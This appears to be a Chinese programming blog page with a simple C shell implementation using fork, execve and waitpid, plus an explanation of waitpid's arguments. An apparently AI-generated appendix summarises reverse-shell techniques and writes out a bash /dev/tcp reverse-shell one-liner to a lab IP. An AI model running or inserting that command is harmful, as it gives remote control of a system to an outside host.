自己实现简单shell的小例子

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h> //execve()
#include <sys/types.h> //pid_t
#include <sys/wait.h> //waitpid()

int main()
{
    int i, j, l, status;
    pid_t p;
    char *command;
    char **argv;
    command = (char *)malloc(sizeof(char)*30);
    argv = (char **)malloc(sizeof(char *)*30);

    while(1)
    {
        printf("myshell>"); // 输出命令提示符
        memset(command, 0, sizeof(char)*30);
        if(fgets(command, 30, stdin) == NULL) // 读命令
            continue;
        l = strlen(command) - 1;
        if(command[l] == '\n')
            command[l] = 0;
        //将读取的一行字符解析到argv中
        j = 0;
        argv[j] = command;
        j++;

        l = strlen(command);
        for(i=0; i<l; i++)
        {
            if(command[i] == ' ')
            {
                command[i] = 0;
                if(command[i+1] != ' ')
                {
                    argv[j] = &command[i+1];
                    j++;
                }
            }
        }
        argv[j] = NULL;

        //创建进程执行命令
        p = fork();
        if(p != 0) // 父进程
        {
            waitpid(-1, &status, 0);
        }
        else // 子进程
        {
            execve(argv[0], argv, NULL);
        }
    }

    free(argv);
    free(command);
    return 0;
}

waitpid()函数解释
参数一:
小于-1表示等待进程组识别码为其绝对值的任何子进程。
等于-1表示等待任何子进程,相当于 wait()。
等于0表示等待进程组识别码与目前进程相同的任何子进程。
大于0表示等待任何子进程识别码为pid的子进程。
参数二:
子进程的结束状态值,如果不在意结束状态值,则
参数 status 可以设成 NULL。
参数三:
参数options提供了一些额外的选项来控制waitpid,如果我们不想使用它们,也可以把options设为0。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
公网实现反弹shell的方法有多种。具体要选择哪种方法取决于目标主机的环境和可用工具。如果目标主机上安装有netcat,可以利用netcat反弹shell。如果具有python环境,可以利用python反弹shell。如果具有php环境,可以利用php反弹shell。另外,还可以使用其他工具和技术来实现反弹shell。 举个例子,如果你想在受害机CentOS 7上生成一个反弹shell,连接到宿主机的公网IP地址为10.8.163.224,端口为6666,可以使用以下命令实现端口转发,从而连接到Kali虚拟机上: bash -i >& /dev/tcp/10.8.163.224/6666 0>&1 \[2\] 另外,如果你想利用netcat来实现反弹shell,可以使用Netcat工具。Netcat是一款简单Unix工具,使用UDP和TCP协议。它可以作为后台操作工具,也可以用作网络测试工具或黑客工具。通过使用Netcat,你可以轻松地建立任何连接。\[3\] 需要注意的是,反弹shell是一种潜在的安全风险,应该谨慎使用,并且仅在合法和授权的情况下使用。 #### 引用[.reference_title] - *1* *3* [反弹shell总结](https://blog.csdn.net/weixin_51692662/article/details/127795576)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [如何用内网虚拟机kali实现反弹shell](https://blog.csdn.net/qq_44657899/article/details/106307545)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值